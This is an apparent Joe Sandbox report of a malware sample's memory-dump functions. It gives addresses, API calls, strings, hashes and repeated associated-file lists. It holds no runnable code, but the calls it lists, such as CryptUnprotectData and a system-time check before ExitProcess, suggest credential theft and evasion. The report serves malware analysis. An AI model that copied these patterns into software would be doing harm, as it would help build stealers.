Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &0}o$RZ_$]=wP$zg;$Tw=
API String ID: 0-998060032
Opcode ID: 31756ab9e93ac69979e0e2ee413de94c3832e940ea7d0c41aacb15ea65186e2c
Instruction ID: 4a959143358161e8a97e848de52f0f9794b4c3c0de4b14d3accc7816544ff069
Opcode Fuzzy Hash: 31756ab9e93ac69979e0e2ee413de94c3832e940ea7d0c41aacb15ea65186e2c
Instruction Fuzzy Hash: A8B206F360C2009FE704AE2DEC8567ABBE9EF94720F1A893DE6C4C7744E63558058697

Function 005C6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 005C696C
sscanf.NTDLL ref: 005C6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005C69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005C69C0
ExitProcess.KERNEL32 ref: 005C69DA

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 546f197417950cdfdee2d3bf2f7caa548025cec7d90b60ed8d43bb14b077e7f6
Instruction ID: b22a2288f2f8fa2d132afb2f4c007f033aebb52ff6d235275b42084cdb908345
Opcode Fuzzy Hash: 546f197417950cdfdee2d3bf2f7caa548025cec7d90b60ed8d43bb14b077e7f6
Instruction Fuzzy Hash: DD219CB5D14209AFCF04EFE4D945AEEBBB5BF48300F04852EE51AA3250EB745605CB69

Function 005B7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 005B724D
RtlAllocateHeap.NTDLL(00000000), ref: 005B7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005B7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005B72A4
LocalFree.KERNEL32(?), ref: 005B72AE

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0f007f6eadbfd461d07314589ff7e223ed01a1eead9960ef4a4c831f1143bddb
Instruction ID: 4ab10c57cbd93c0cad71e4932bc7e5505815010fe86571338474b71e8643716e
Opcode Fuzzy Hash: 0f007f6eadbfd461d07314589ff7e223ed01a1eead9960ef4a4c831f1143bddb
Instruction Fuzzy Hash: 630100B5A40208BBDB14DBE4CD45FAD77B8BB48704F108555FB09AB2C0D6B4BA00CB69

Function 005C8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,005B5184,40000001,00000000,00000000,?,005B5184), ref: 005C8EC0

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 7b5a19dc989018b3961de630b46d9045e701f36b579f451c2738814e78f5e07d
Instruction ID: 4c927adaa2db565ebf082856fb583c34a6bcb09e32cf5404ba0976437b6d4cec
Opcode Fuzzy Hash: 7b5a19dc989018b3961de630b46d9045e701f36b579f451c2738814e78f5e07d
Instruction Fuzzy Hash: 1611F5B4200209BFDB00CFA4D884FBA3BA9BF89314F10985CF919CB250DB75E841DB64

Function 0097A7E2 Relevance: 5.4, Strings: 3, Instructions: 1612COMMON

Download Yara Rule

Strings

ej}], xrefs: 0097BB52
$B, xrefs: 0097A8A5
<[v, xrefs: 0097A921

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <[v$ej}]$$B
API String ID: 0-2617339632
Opcode ID: 321f39864b33982f9d353534ed1a92cce0cf741abec79d5688875d595e6a04a7
Instruction ID: 840072c6956e9fb11a73b8c4d782788c12442c74bc944e7766c629ef08c6f416
Opcode Fuzzy Hash: 321f39864b33982f9d353534ed1a92cce0cf741abec79d5688875d595e6a04a7
Instruction Fuzzy Hash: 99B206F360C6049FE304AE29DC8567AF7E9EF94320F1A893DEAC4C3744EA7558058697

Function 00984B1A Relevance: 5.3, Strings: 3, Instructions: 1506COMMON

Download Yara Rule

Strings

Plj, xrefs: 00985D01
v~, xrefs: 0098576A
GA~, xrefs: 00984E8C

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: GA~$Plj$v~
API String ID: 0-1613580521
Opcode ID: 98be8591fc4f53724b6e37222a79afe4b27bee5139493a4607047be1ab9ba086
Instruction ID: 41722b49a380cc1aa7335d57ded99d495cd01719b7d27441d5b1dcc34e517aa1
Opcode Fuzzy Hash: 98be8591fc4f53724b6e37222a79afe4b27bee5139493a4607047be1ab9ba086
Instruction Fuzzy Hash: 84A2F6F360C2049FE304AE29DC8567ABBE9EF94320F1A493DE6C4C7744E63598458797

Function 005C3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(005CE118,00000000,00000001,005CE108,00000000), ref: 005C3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005C37B0

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: f9ba45b555664db2c6498db2c70cc87adc7c607f98511fce1a175093e1766208
Instruction ID: e3ede0d6d208c52d8a4801a58542ff8cd9909e98afc3f82b2ebcaeabad09a66b
Opcode Fuzzy Hash: f9ba45b555664db2c6498db2c70cc87adc7c607f98511fce1a175093e1766208
Instruction Fuzzy Hash: CA41C971A40A1C9FDB24DB58CC95F9BB7B5BB48702F4081D8E609A7290E7716E85CF50

Function 0098DC42 Relevance: 4.5, Strings: 3, Instructions: 743COMMON

Download Yara Rule

Strings

4w?, xrefs: 0098E2C3
ELeW, xrefs: 0098E384
4}, xrefs: 0098E441

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4}$ELeW$4w?
API String ID: 0-1471139673
Opcode ID: fd12fbac17a266db599ee27319261eacfe5d61008b6341efa714390616069312
Instruction ID: 2baf620e0337098e8d64ba9298378e80a578a86d0c12872a142b2493f6a2a958
Opcode Fuzzy Hash: fd12fbac17a266db599ee27319261eacfe5d61008b6341efa714390616069312
Instruction Fuzzy Hash: C93204B360C3049FD304AE6DEC8567AFBE9EF94320F16493DEAC5C7340EA3558458696

Function 009795FE Relevance: 3.4, Strings: 2, Instructions: 939COMMON

Download Yara Rule

Strings

jbz5, xrefs: 00979D52
My~^, xrefs: 009799B7

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
